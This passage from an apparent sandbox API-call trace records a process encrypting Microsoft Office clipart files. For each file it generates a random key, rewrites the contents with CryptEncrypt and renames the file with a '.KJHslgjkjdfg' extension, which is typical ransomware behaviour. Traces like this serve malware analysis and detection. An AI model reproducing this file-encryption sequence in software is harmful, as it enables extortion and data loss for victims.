1 [0188.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.570] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x128, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x128, lpOverlapped=0x0) returned 1 [0188.570] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x130, dwBufLen=0x130 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x130) returned 1 [0188.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.570] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x130, lpOverlapped=0x0) returned 1 [0188.570] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.570] SetEndOfFile (hFile=0x130) returned 1 [0188.572] GetProcessHeap () returned 0x990000 [0188.572] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.572] GetProcessHeap () returned 0x990000 [0188.572] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.kjhslgjkjdfg")) returned 1 [0188.573] CloseHandle (hObject=0x130) returned 1 [0188.573] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8660ce00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8660ce00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1 [0188.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.574] GetProcessHeap () returned 0x990000 [0188.574] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.574] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.574] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.576] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.576] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.576] GetProcessHeap () returned 0x990000 [0188.576] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.576] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.576] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.576] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.576] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.576] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.576] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.577] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.577] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.577] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.577] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x228, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x228, lpOverlapped=0x0) returned 1 [0188.577] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x230, dwBufLen=0x230 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x230) returned 1 [0188.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.577] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x230, lpOverlapped=0x0) returned 1 [0188.577] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.577] SetEndOfFile (hFile=0x130) returned 1 [0188.579] GetProcessHeap () returned 0x990000 [0188.579] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.580] GetProcessHeap () returned 0x990000 [0188.580] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.580] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.kjhslgjkjdfg")) returned 1 [0188.580] CloseHandle (hObject=0x130) returned 1 [0188.580] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1 [0188.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.581] GetProcessHeap () returned 0x990000 [0188.581] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.581] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.581] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.581] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0188.583] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.583] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.584] GetProcessHeap () returned 0x990000 [0188.584] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.584] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.584] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.584] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.584] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.584] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.584] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.584] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.584] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.584] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.584] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1034, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1034, lpOverlapped=0x0) returned 1 [0188.585] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1040, dwBufLen=0x1040 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1040) returned 1 [0188.585] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.585] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1040, lpOverlapped=0x0) returned 1 [0188.585] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.585] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.585] SetEndOfFile (hFile=0x130) returned 1 [0188.587] GetProcessHeap () returned 0x990000 [0188.587] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.587] GetProcessHeap () returned 0x990000 [0188.587] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.588] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.kjhslgjkjdfg")) returned 1 [0188.588] CloseHandle (hObject=0x130) returned 1 [0188.588] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1 [0188.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.589] GetProcessHeap () returned 0x990000 [0188.590] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.590] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.590] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.591] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.591] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.591] GetProcessHeap () returned 0x990000 [0188.592] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.592] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.592] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.592] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.592] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.592] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.592] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.592] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.592] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.592] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.592] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8fc, lpOverlapped=0x0) returned 1 [0188.592] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x900, dwBufLen=0x900 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x900) returned 1 [0188.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.592] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x900, lpOverlapped=0x0) returned 1 [0188.593] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.593] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.593] SetEndOfFile (hFile=0x130) returned 1 [0188.595] GetProcessHeap () returned 0x990000 [0188.595] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.595] GetProcessHeap () returned 0x990000 [0188.595] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.595] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.kjhslgjkjdfg")) returned 1 [0188.596] CloseHandle (hObject=0x130) returned 1 [0188.604] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1 [0188.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.605] GetProcessHeap () returned 0x990000 [0188.605] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.605] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.605] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0188.607] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.607] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.607] GetProcessHeap () returned 0x990000 [0188.607] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.607] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.607] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.607] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.608] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.608] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.608] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.608] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.608] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.608] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.608] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xcb4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xcb4, lpOverlapped=0x0) returned 1 [0188.608] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xcc0, dwBufLen=0xcc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xcc0) returned 1 [0188.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.608] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xcc0, lpOverlapped=0x0) returned 1 [0188.608] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.608] SetEndOfFile (hFile=0x130) returned 1 [0188.610] GetProcessHeap () returned 0x990000 [0188.610] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.610] GetProcessHeap () returned 0x990000 [0188.610] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.611] 